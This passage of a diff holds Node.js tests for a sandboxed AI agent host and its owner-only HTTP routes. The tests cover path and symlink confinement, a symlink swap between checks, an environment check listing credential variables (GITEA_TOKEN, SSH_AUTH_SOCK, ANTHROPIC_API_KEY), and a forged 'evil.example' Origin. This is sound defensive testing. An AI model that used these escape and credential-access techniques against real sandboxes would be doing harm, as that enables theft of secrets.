await refusedRoute(t, "dotdot", (root) => ({ adapter: `${root}/install/../install/adapter.sh` }));
await refusedRoute(t, "missing", (root) => ({ adapter: join(root, "install", "absent.sh") }));
await refusedRoute(t, "secrets", (root) => { mkdirSync(join(root, "install", "secrets")); writeFileSync(join(root, "install", "secrets", "a.sh"), "x"); return { adapter: join(root, "install", "secrets", "a.sh") }; });
await refusedRoute(t, "data root", (root) => { mkdirSync(join(root, "data"), { recursive: true }); writeFileSync(join(root, "data", "a.sh"), "x"); return { adapter: join(root, "data", "a.sh") }; }, (root) => ({ harnessModule: fakeModule([root]) }));
await refusedRoute(t, "not a string", () => ({ adapter: 5 }));
// A link that stays inside the root is followed: the bind's source is the file itself.
await admittedRoute(t, "link inside", (root) => { writeFileSync(join(root, "install", "real.sh"), "exit 0\n"); symlinkSync(join(root, "install", "real.sh"), join(root, "install", "a.sh")); return { adapter: join(root, "install", "a.sh") }; });
});
test("the shipped harness modules declare what their own env() and mounts() hand a session, and their adapter and mounts pass the host's checks", async () => {
const dir = scratch();
for (const name of ["pi", "claude-code"]) {
const mod = await import(new URL(`../../plugins/harness/${name}/index.mjs`, import.meta.url).href);
assert.ok(Array.isArray(mod.envNames) && Object.isFrozen(mod.envNames), name);
const keys = Object.keys(mod.env({
files: { settings: "/s", mcp: "/m" }, policy: { tools: ["read"] }, tools: [], session: { model: "m", thinking: "off", provider: "p" },
}));
assert.deepEqual(keys.filter((k) => !isProviderVariable(k)).sort(), [...mod.envNames].sort(), name);
const roots = mod.installRoots({ env: {} });
const route = { adapter: mod.adapter(), harnessMounts: mod.mounts({ env: {} }), installRoots: roots, runDir: join(dir, "data", "triage", "agent") };
const got = checkHostedRoute({ ...route, protectedPaths: [join(dir, "data"), join(dir, "cfg"), join(dir, "home")] });
assert.equal(got.adapter.dest, mod.adapter(), name);
// A stack that runs from under HOME (a copy or a worktree): HOME holds the repository, and the
// code root keeps HOME from refusing the stack's own files. Without it, HOME refuses them.
const underHome = { ...route, protectedPaths: [join(dir, "data"), join(dir, "cfg"), dirname(REPO)] };
assert.equal(checkHostedRoute({ ...underHome, codeRoot: REPO, codeHolder: dirname(REPO) }).adapter.dest, mod.adapter(), name);
assert.throws(() => checkHostedRoute(underHome), (e) => e.fence === "adapter", name);
}
});
test("a host whose HOME holds the repository starts the shipped pi harness's own route; a source under HOME outside the repository is still refused", async (t) => {
const pi = await import(new URL("../../plugins/harness/pi/index.mjs", import.meta.url).href);
const home = dirname(REPO);
const opts = { home, harnessModule: async (name) => (name === "pi" ? pi : null) };
const piRoute = (root) => answer(root, { harness: "pi", adapter: pi.adapter(), harnessMounts: pi.mounts({ env: {} }), harnessEnv: { PI_MODEL: "m", PI_OFFLINE: "1" } });
const s = await admittedRoute(t, "pi under HOME", (root) => () => piRoute(root), opts);
assert.equal(s.adapter, pi.adapter());
assert.deepEqual(s.harnessEnv, { PI_MODEL: "m", PI_OFFLINE: "1" });
// The same host and module, with HOME's own directory (which holds the repository) as an extra
// install root and mount: it is under HOME and not in the code, so it is refused.
const wide = { ...pi, installRoots: (o) => [...pi.installRoots(o), home] };
const logs = await refusedRoute(t, "under HOME, outside the repository", (root) => () => ({ ...piRoute(root), harnessMounts: [...pi.mounts({ env: {} }), { src: home, dest: "/opt/home", why: "w" }] }), { home, harnessModule: async (name) => (name === "pi" ? wide : null) });
assert.ok(logs.includes("triage host: route refused: mount-src"), logs.join(" | "));
});
test("a route that changes after the first check is refused at the binds: nothing spawns, what the start wrote is removed, and the next message starts", async (t) => {
const root = scratch();
mkdirSync(join(root, "install"), { recursive: true });
writeFileSync(join(root, "outside.sh"), "exit 0\n");
const logs = [];
let checked = false;
let swapped = false;
const harnessModule = async (name) => (name === "fake" ? { envNames: DECLARED, installRoots: () => { checked = true; return [join(root, "install")]; } } : null);
// The run id in session.json reads the clock after the first check: the adapter becomes a link
// out of the install root then, so only hostedBinds' own check can see it.
const now = () => {
if (checked && !swapped) {
swapped = true;
rmSync(join(root, "install", "adapter.sh"));
symlinkSync(join(root, "outside.sh"), join(root, "install", "adapter.sh"));
}
return new Date("2026-11-16T12:00:00.000Z");
};
const route = { admit: async () => answer(root) };
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), log: (l) => logs.push(l), harnessModule, now });
const agent = join(dataRoot, "triage", "agent");
await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid" && e.message === "the model route's answer is not usable");
assert.ok(swapped, "the swap happened between the checks");
assert.ok(logs.includes("triage host: route refused at the binds: adapter"), logs.join(" | "));
assert.equal(existsSync(join(root, "spawned")), false);
assert.equal(h.running, false);
for (const f of ["session.json", "relay.sock", "bundle"]) assert.equal(existsSync(join(agent, f)), false, f);
const [owner, note, ...rest] = (await h.state()).transcript;
assert.deepEqual([owner.from, note.from, note.in_reply_to, note.text, rest.length], ["owner", "host", owner.id, ROUTE_REFUSED, 0]);
rmSync(join(root, "install", "adapter.sh"));
writeFileSync(join(root, "install", "adapter.sh"), "exit 0\n");
await h.message("again");
await waitFor(() => existsSync(join(root, "spawned")));
});
test("a read and a message that arrive together share one snapshot read", async (t) => {
let reads = 0, release;
const gate = new Promise((r) => { release = r; });
const { h } = host(t, scratch(), { readSnapshot: async () => { reads++; await gate; return SNAPSHOT; } });
const both = Promise.all([h.refresh(), h.refresh()]);
release();
const [a, b] = await both;
assert.equal(reads, 1);
assert.equal(a, b);
await h.refresh();
assert.equal(reads, 2, "a later refresh reads again");
});
test("a Triage directory that is a link is refused", async (t) => {
const root = scratch();
const dataRoot = join(root, "data");
mkdirSync(join(root, "elsewhere"), { recursive: true });
mkdirSync(dataRoot);
symlinkSync(join(root, "elsewhere"), join(dataRoot, "triage"));
const route = { admit: async () => ({ ok: true }) };
const { h } = host(t, root, { route });
await assert.rejects(h.message("hello"), (e) => e.code === "triage-dir-unsafe");
assert.deepEqual(readdirSync(join(root, "elsewhere")), []);
});
async function waitFor(fn, ms = 30000) {
const end = Date.now() + ms;
while (Date.now() < end) {
const v = await fn();
if (v) return v;
await new Promise((r) => setTimeout(r, 50));
}
throw new Error("timed out");
}
test("end to end under the sandbox: the first message starts the session, which sees only its two directories and answers into the transcript", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const dataRoot = join(root, "data");
// What the session must not see: an org root, a config, a secrets file, the host's transcript.
mkdirSync(join(dataRoot, "orgs", "alpha"), { recursive: true });
writeFileSync(join(dataRoot, "orgs", "alpha", "org.json"), "{}");
mkdirSync(join(root, "config"));
writeFileSync(join(root, "config", "config.json"), "{}");
mkdirSync(join(root, "secrets"));
writeFileSync(join(root, "secrets", "token"), "secret");
// A link left where the host makes its work directory must not steer the bind.
mkdirSync(join(dataRoot, "triage", "agent"), { recursive: true, mode: 0o700 });
symlinkSync(join(dataRoot, "orgs"), join(dataRoot, "triage", "agent", "work"));
mkdirSync(join(root, "install"));
const adapter = join(root, "install", "adapter.sh");
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
const probe = [
join(dataRoot, "orgs", "alpha", "org.json"), join(root, "config", "config.json"), join(root, "secrets", "token"),
join(dataRoot, "triage", "host", "transcript.jsonl"), join(dataRoot, "triage", "host"),
join(dataRoot, "triage", "health", "snapshot.json"), join(dataRoot, "triage", "agent", "work", "health", "snapshot.json"),
];
let admits = 0;
const route = { admit: async () => { admits += 1; return { ok: true, adapter, harness: "fake", harnessEnv: { TRIAGE_PROBE: JSON.stringify(probe) }, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }; } };
const { h } = host(t, root, { route });
assert.equal(h.running, false, "nothing starts before the owner's first message");
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
const replies = async (n) => waitFor(async () => {
const list = (await h.state()).transcript.filter((e) => e.from === "triage");
return list.length >= n ? list : null;
});
await h.message("PROBE");
assert.equal(h.running, true);
const probed = JSON.parse((await replies(1))[0].text.replace(/\n\n.*$/s, ""));
const allowed = new Set([
"PATH", "LANG", "TZ", "HOME", "TMPDIR", "ANTHROPIC_BASE_URL", "TRIAGE_PROBE", "PWD", "SHLVL", "_", "OLDPWD",
"MOSAIC_REQUEST", "MOSAIC_SYSTEM_PROMPT_FILE", "MOSAIC_WORKSPACE", "MOSAIC_SESSION_DIR", "MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE",
"MOSAIC_TOOL_SOCKET", "MOSAIC_TURN_MARKER", "MOSAIC_PROVIDER", "MOSAIC_MODEL", "MOSAIC_MODEL_ACTIVITY_DIR", "MOSAIC_UNSLOP_LOG",
]);
for (const name of probed.env) assert.ok(allowed.has(name), `the session's environment holds ${name}`);
for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "ANTHROPIC_API_KEY", "OTHER", "MOSAIC_DATA_ROOT"]) assert.ok(!probed.env.includes(name), name);
assert.deepEqual(probed.seen, Object.fromEntries(probe.map((p) => [p, p.endsWith(join("work", "health", "snapshot.json"))])));
assert.equal(probed.snapshot, 1);
assert.equal(probed.writeHealth, "EROFS");
assert.equal(probed.writeBundle, "EROFS");
assert.equal(probed.writeWork, "written");
assert.deepEqual(readdirSync(join(dataRoot, "orgs")), ["alpha"], "the planted link's target is untouched");
assert.equal(lstatSync(join(dataRoot, "triage", "agent", "work")).isDirectory(), true);
assert.deepEqual(readdirSync(join(dataRoot, "triage", "health")), ["snapshot.json"]);
await h.message("CARDS");
const cards = (await replies(2))[1];
assert.deepEqual(cards.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }]);
assert.equal(cards.dropped, 1);
assert.match(cards.text, /^The alpha bus is stopped\./);
await h.message("TOOL chief");
assert.match((await replies(3))[2].text, new RegExp(RELAY_REFUSED));
await h.message("TOOL human");
const last = await replies(5);
const texts = last.slice(3).map((e) => e.text);
assert.ok(texts.includes("from the tool"), "the session's own send to the person reaches the transcript");
assert.ok(texts.some((x) => /"ok":true/.test(x)), "and the tool call was answered");
assert.equal(admits, 4, "each message is admitted by the route");
const tr = join(dataRoot, "triage", "host", "transcript.jsonl");
assert.equal(lstatSync(tr).mode & 0o777, 0o600);
for (const d of ["", "health", "agent", "host"]) assert.equal(lstatSync(join(dataRoot, "triage", d)).mode & 0o777, 0o700, d);
const owner = readFileSync(tr, "utf8").trim().split("\n").map((l) => JSON.parse(l)).filter((e) => e.from === "owner").map((e) => e.text);
assert.deepEqual(owner, ["PROBE", "CARDS", "TOOL chief", "TOOL human"]);
const tools = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "tools.json"), "utf8"));
assert.deepEqual(tools.map((x) => x.name), ["send_message"]);
const policy = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "policy.json"), "utf8"));
assert.deepEqual([policy.tools, policy.typed, policy.network, policy.needs, policy.credentials], [["read", "grep", "find", "ls"], ["send_message"], "none", [], []]);
await h.stop();
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
});
// A route answer that runs the stub adapter under the sandbox.
function stubRoute(root) {
mkdirSync(join(root, "install"), { recursive: true });
const adapter = join(root, "install", "adapter.sh");
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
return { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }) };
}
const repliesOf = (h, n, from = "triage") => waitFor(async () => {
const list = (await h.state()).transcript.filter((e) => e.from === from);
return list.length >= n ? list : null;
});
test("a second start on the same data root answers too: the last run's turns do not stop the next", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const route = stubRoute(root);
const first = host(t, root, { route }).h;
const one = await first.message("one");
assert.deepEqual((await repliesOf(first, 1)).map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id]]);
await first.stop();
assert.equal(first.running, false);
const { h: second, dataRoot } = host(t, root, { route });
const two = await second.message("two");
const list = await repliesOf(second, 2);
assert.deepEqual(list.map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id], ["echo: two", two.id]]);
assert.equal((await second.state()).transcript.filter((e) => e.from === "host").length, 0);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "turns")), true);
});
test("a session that ends mid-turn: the message it took is answered by the host, leaves the queue, and the next message is answered", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
const slept = await h.message("SLEEP");
// The turn has started once the runner made its turns directory.
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
const pid = h.pid;
assert.ok(Number.isInteger(pid));
process.kill(-pid, "SIGKILL");
const [note] = await repliesOf(h, 1, "host");
assert.deepEqual([note.in_reply_to, note.text], [slept.id, UNANSWERED]);
await waitFor(() => !h.running);
assert.equal((await h.state()).lastExit.signal, "SIGKILL");
const next = await h.message("after");
const [reply] = await repliesOf(h, 1);
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]);
assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again");
});
test("a launcher that cannot run is a failed start: the message is not delivered, nothing reports running, and the next message is refused the same way", async (t) => {
const root = scratch();
const route = { admit: async () => answer(root) };
const { h, dataRoot } = host(t, root, { route, bwrap: join(root, "no-such-launcher") });
for (const text of ["one", "two"]) {
await assert.rejects(h.message(text), (e) => e.code === "triage-start-failed", text);
assert.equal(h.running, false, text);
}
const lines = (await h.state()).transcript.map((e) => [e.from, e.text]);
assert.deepEqual(lines, [["owner", "one"], ["host", NOT_STARTED], ["owner", "two"], ["host", NOT_STARTED]]);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
});
test("a reply that names its message answers it: a session killed after replying leaves no unanswered line", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h } = host(t, root, { route: stubRoute(root) });
const sent = await h.message("REPLY-SLEEP");
const [reply] = await repliesOf(h, 1);
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["answered early", sent.id]);
process.kill(-h.pid, "SIGKILL");
await waitFor(() => !h.running);
assert.deepEqual((await h.state()).transcript.filter((e) => e.from === "host"), []);
});
test("a message the session never read gets a host line when it ends and leaves the queue", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
const slept = await h.message("SLEEP");
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
// The runner takes one message per turn and is held in SLEEP, so this one is queued and never taken.
const waiting = await h.message("waiting");
process.kill(-h.pid, "SIGKILL");
await waitFor(() => !h.running);
const notes = (await repliesOf(h, 2, "host")).map((e) => [e.in_reply_to, e.text]).sort((a, b) => a[1].localeCompare(b[1]));
assert.deepEqual(notes, [[waiting.id, NOT_TAKEN], [slept.id, UNANSWERED]].sort((a, b) => a[1].localeCompare(b[1])));
});
test("with devOwner set, a card's bus start carries the dev-owner flag", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h } = host(t, root, { route: stubRoute(root), devOwner: true });
await h.message("CARDS");
const [reply] = await repliesOf(h, 1);
assert.deepEqual(reply.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --dev-local-owner --detach" }]);
});
+262
View File
@@ -0,0 +1,262 @@
// #1873 triage-host: the Triage routes over the real HTTP boundary. Only the instance owner's own
// session reaches them; every other caller gets exactly what an unknown route gives that caller.
// The write also needs --send and the same-origin checks. No body, path or exception text leaves.
import test from 'node:test';
import assert from 'node:assert/strict';
import { request } from 'node:http';
import { mkdtempSync, existsSync, readFileSync } from 'node:fs';
import { join } from 'node:path';
import { startServer } from '../src/serve.mjs';
import { createDevOwner } from '../src/dev-owner.mjs';
import { consoleAccess } from '../src/access.mjs';
import { createSsoSession } from './helpers/sso-session.mjs';
import { NO_ROUTE_MESSAGE, capMessage, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs';
import { createTriageHost, TriageError } from '../src/triage-host.mjs';
const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789';
function fakeTriage({ message } = {}) {
const calls = [];
return {
calls,
snapshotAt: () => null,
refresh: async () => { calls.push(['refresh']); return null; },
state: async () => ({ route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }] }),
message: async text => { calls.push(['message', text]); return message ? message(text) : { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }; },
};
}
const send = (port, path, { method = 'GET', headers = {}, body } = {}) => new Promise((resolve, reject) => {
const req = request({ host: '127.0.0.1', port, path, method, headers }, res => {
let text = ''; res.on('data', c => { text += c; }); res.on('end', () => resolve({ status: res.statusCode, text, json: (() => { try { return JSON.parse(text); } catch { return null; } })() }));
});
req.on('error', reject); req.end(body === undefined ? undefined : typeof body === 'string' ? body : JSON.stringify(body));
});
async function devServer(t, options = {}) {
const logs = [];
const s = await startServer({ port: 0, board: 'http://127.0.0.1:9', sso: createDevOwner(), send: async () => ({}), log: line => logs.push(line), ...options });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const headers = { host: `127.0.0.1:${port}`, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
return { port, logs, headers };
}
// The same request on an unknown path next to the Triage one: status and body must match.
async function sameAsUnknown(port, path, method, headers, body, label) {
const unknown = path.replace('/api/triage', '/api/triagz');
const [a, b] = [await send(port, path, { method, headers, body }), await send(port, unknown, { method, headers, body })];
assert.equal(a.status, b.status, `${label} ${method} ${path}: status`);
assert.equal(a.text, b.text, `${label} ${method} ${path}: body`);
}
const EVERY = [['/api/triage', 'GET'], ['/api/triage', 'POST'], ['/api/triage/message', 'GET'], ['/api/triage/message', 'POST']];
test('the dev local owner reads the drawer state and sends a message; the config names the drawer', async t => {
const triage = fakeTriage();
const f = await devServer(t, { triage });
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(read.status, 200);
assert.deepEqual(read.json, { route: 'set', overCapUntil: null, running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true });
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } });
assert.equal(sent.status, 202);
assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' });
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), [['message', 'why is alpha down?']]);
const config = await send(f.port, '/api/config', { headers: { host: f.headers.host } });
assert.equal(config.json.triage, true);
assert.equal(config.json.triageSend, true);
assert.equal(f.logs.join('\n').includes('why is alpha down'), false, 'no message text in a log line');
for (const line of f.logs.filter(l => l.includes('/api/triage'))) assert.match(line, /^\S+ (GET|POST) \/api\/triage(\/message)? \d{3}$/);
// A wrong method on either route.
assert.equal((await send(f.port, '/api/triage', { method: 'POST', headers: f.headers, body: {} })).status, 405);
assert.equal((await send(f.port, '/api/triage/message', { headers: { host: f.headers.host } })).status, 405);
});
test('the write is refused without --send, from a foreign Origin, and without same-origin Fetch Metadata', async t => {
const triage = fakeTriage();
const readOnly = await devServer(t, { triage, send: null });
const r = await send(readOnly.port, '/api/triage/message', { method: 'POST', headers: readOnly.headers, body: { text: 'hi' } });
assert.equal(r.status, 403); assert.deepEqual(r.json, { error: 'read-only' });
assert.equal((await send(readOnly.port, '/api/triage', { headers: { host: readOnly.headers.host } })).json.send, false);
assert.equal((await send(readOnly.port, '/api/config', { headers: { host: readOnly.headers.host } })).json.triageSend, false);
const f = await devServer(t, { triage });
assert.equal((await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, origin: 'http://evil.example' }, body: { text: 'hi' } })).status, 403);
const crossSite = await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, 'sec-fetch-site': 'cross-site' }, body: { text: 'hi' } });
assert.deepEqual([crossSite.status, crossSite.json], [403, { error: 'cross-site request refused' }]);
const noMeta = { ...f.headers }; delete noMeta['sec-fetch-site'];
const missing = await send(f.port, '/api/triage/message', { method: 'POST', headers: noMeta, body: { text: 'hi' } });
assert.deepEqual([missing.status, missing.json], [403, { error: 'cross-site request refused' }]);
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
});
test('a malformed body is refused before the host sees it; the host refusals map to fixed answers with no leaked text', async t => {
let next = null;
const triage = fakeTriage({ message: () => { throw next; } });
const f = await devServer(t, { triage });
const post = (body, headers = f.headers) => send(f.port, '/api/triage/message', { method: 'POST', headers, body });
for (const body of [{ text: 'hi', extra: 1 }, { text: 5 }, {}, [], '{"text":', `{"text":"${'x'.repeat(17000)}"}`])
assert.deepEqual((await post(body)).json, { error: 'invalid-request', message: 'the request is not a Triage message' }, JSON.stringify(body).slice(0, 40));
assert.equal((await post({ text: 'hi' }, { ...f.headers, 'content-type': 'text/plain' })).status, 400);
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
next = Object.assign(new TriageError('triage-over-cap', LEAK), { until: '2026-11-17T00:00:00.000Z' });
const cap = await post({ text: 'hi' });
assert.deepEqual([cap.status, cap.json], [429, { error: 'triage-over-cap', message: 'Triage is over its daily token cap and starts again after the time shown', until: '2026-11-17T00:00:00.000Z' }]);
next = new TriageError('triage-no-route', LEAK);
const none = await post({ text: 'hi' });
assert.deepEqual([none.status, none.json], [409, { error: 'triage-no-route', message: NO_ROUTE_MESSAGE }]);
next = new TriageError('triage-message-too-long', LEAK);
assert.equal((await post({ text: 'hi' })).status, 400);
next = new TriageError('triage-busy', LEAK);
assert.equal((await post({ text: 'hi' })).status, 429);
next = Object.assign(new Error(LEAK), { code: 'EACCES' });
const odd = await post({ text: 'hi' });
assert.deepEqual([odd.status, odd.json], [503, { error: 'outcome-unknown', message: 'Triage did not answer' }]);
for (const r of [cap, none, odd]) assert.equal(r.text.includes('/home/'), false);
assert.equal(f.logs.join('\n').includes('/home/'), false);
});
test('a signed-out caller and a granted user get the unknown-route answer on both routes', async t => {
const access = { accessVersion: 1, revision: 1,
users: [{ id: 'alice', home: 'local', subjects: [{ provider: 'writer', sub: 'alice-sub' }] }],
grants: [{ id: 'g-1', user: 'alice', business: 'demo', projects: ['*'], instances: ['*'], level: 'collaborator' }] };
const auth = await createSsoSession(t, { host: 'console.example', users: consoleAccess({ load: () => access, business: () => 'demo' }) });
const triage = fakeTriage();
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, userOptions: () => ({}), log: () => {} });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const owner = auth.writeHeaders(await auth.signIn(port));
assert.equal((await send(port, '/api/triage', { headers: owner })).status, 200, 'the SSO root owner reaches the read');
assert.equal((await send(port, '/api/triage/message', { method: 'POST', headers: owner, body: { text: 'hi' } })).status, 202, 'and the write');
const before = triage.calls.length;
const signedOut = auth.writeHeaders(null);
const alice = auth.writeHeaders(await auth.signIn(port, { sub: 'alice-sub' }));
for (const [path, method] of EVERY) {
await sameAsUnknown(port, path, method, signedOut, method === 'POST' ? { text: 'hi' } : undefined, 'signed out');
await sameAsUnknown(port, path, method, alice, method === 'POST' ? { text: 'hi' } : undefined, 'granted user');
}
assert.equal((await send(port, '/api/triage', { headers: signedOut })).status, 401);
assert.equal(Object.hasOwn((await send(port, '/api/config', { headers: alice })).json, 'triage'), false);
assert.equal(triage.calls.length, before, 'the host saw nothing from them');
});
test('on an organizations Console the instance owner reaches both routes; a member, a signed-out caller and an org-selected path get the unknown answer', async t => {
const triage = fakeTriage();
const organizations = { list: async () => [], resolve: async id => (id === 'x' ? { busHealthy: true } : null) };
const owner = await devServer(t, { triage, organizations });
const read = await send(owner.port, '/api/triage', { headers: { host: owner.headers.host } });
assert.equal(read.status, 200, 'the owner reads');
assert.equal(read.json.route, 'set');
assert.equal((await send(owner.port, '/api/triage/message', { method: 'POST', headers: owner.headers, body: { text: 'hi' } })).status, 202, 'and writes');
assert.equal((await send(owner.port, '/api/config', { headers: { host: owner.headers.host } })).json.triage, true);
const seen = triage.calls.length;
// With an organization selected the paths are that organization's, and Triage is in none.
for (const [path, method] of EVERY) {
const orgPath = path.replace('/api/', '/api/orgs/x/');
await sameAsUnknown(owner.port, orgPath, method, owner.headers, method === 'POST' ? { text: 'hi' } : undefined, 'org selected');
}
const member = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
const signedOut = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => null } });
for (const [label, f] of [['member', member], ['signed out', signedOut]]) {
for (const [path, method] of EVERY) await sameAsUnknown(f.port, path, method, f.headers, method === 'POST' ? { text: 'hi' } : undefined, label);
}
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
assert.equal(triage.calls.length, seen, 'the host saw nothing from them');
});
test('without organizations a member session gets the unknown answer and no drawer in the config', async t => {
const triage = fakeTriage();
const member = await devServer(t, { triage, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
for (const [path, method] of EVERY) await sameAsUnknown(member.port, path, method, member.headers, method === 'POST' ? { text: 'hi' } : undefined, 'member');
assert.equal((await send(member.port, '/api/triage', { headers: { host: member.headers.host } })).status, 404);
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
assert.deepEqual(triage.calls, []);
});
test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => {
const none = await devServer(t);
for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host');
assert.equal(Object.hasOwn((await send(none.port, '/api/config', { headers: { host: none.headers.host } })).json, 'triage'), false);
const auth = await createSsoSession(t, { host: 'console.example' });
const triage = fakeTriage();
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, log: () => {} });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const cookie = await auth.signIn(port);
const loop = { host: `127.0.0.1:${port}`, cookie, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
for (const [path, method] of EVERY) await sameAsUnknown(port, path, method, loop, method === 'POST' ? { text: 'hi' } : undefined, 'loopback Host');
const { startTesterSocket } = await import('../src/tester-socket.mjs');
const { testerRequest } = await import('../../cli/src/tester-http.mjs');
const root = mkdtempSync(join(process.env.TMPDIR, 'th-'));
const ts = await startTesterSocket({ dataRoot: root, triage, log: () => {} });
t.after(() => new Promise(r => ts.close(r)));
for (const [path, method] of EVERY) {
const body = method === 'POST' ? { text: 'hi' } : undefined;
const a = await testerRequest({ dataRoot: root, path, method, body });
const b = await testerRequest({ dataRoot: root, path: path.replace('/api/triage', '/api/triagz'), method, body });
assert.equal(a.status, b.status, `tester ${method} ${path}`);
}
assert.deepEqual(triage.calls, []);
});
test('the read refreshes a missing or stale snapshot and keeps a fresh one', async () => {
let at = null, clock = 1_000_000;
const calls = [];
const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) };
const view = await triageView(triage, { send: true, now: () => clock });
assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, overCapUntil: null, running: false, lastExit: null, snapshot: null, transcript: [], send: true });
clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock });
clock += 2; await triageView(triage, { now: () => clock });
assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]);
});
test('over the cap: the read names the time in plain words and the write answers 429 with it', async t => {
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
const route = { admit: async () => ({ ok: false, code: 'triage-over-cap', until: '2026-11-17T00:00:00.000Z' }) };
const host = createTriageHost({ dataRoot, route, readSnapshot: async () => null, now: () => new Date('2026-11-16T20:00:00.000Z'), bwrap: '/nonexistent/bwrap' });
const f = await devServer(t, { triage: host });
const before = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.deepEqual([before.json.route, before.json.overCapUntil, Object.hasOwn(before.json, 'capMessage')], ['set', null, false]);
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
assert.deepEqual([sent.status, sent.json.error, sent.json.until], [429, 'triage-over-cap', '2026-11-17T00:00:00.000Z']);
const after = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(after.json.overCapUntil, '2026-11-17T00:00:00.000Z');
assert.equal(after.json.capMessage, capMessage('2026-11-17T00:00:00.000Z'));
assert.equal(host.running, false);
});
test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => {
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' });
const f = await devServer(t, { triage: host });
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(read.status, 200);
assert.equal(read.json.route, 'not set');
assert.equal(read.json.routeMessage, NO_ROUTE_MESSAGE);
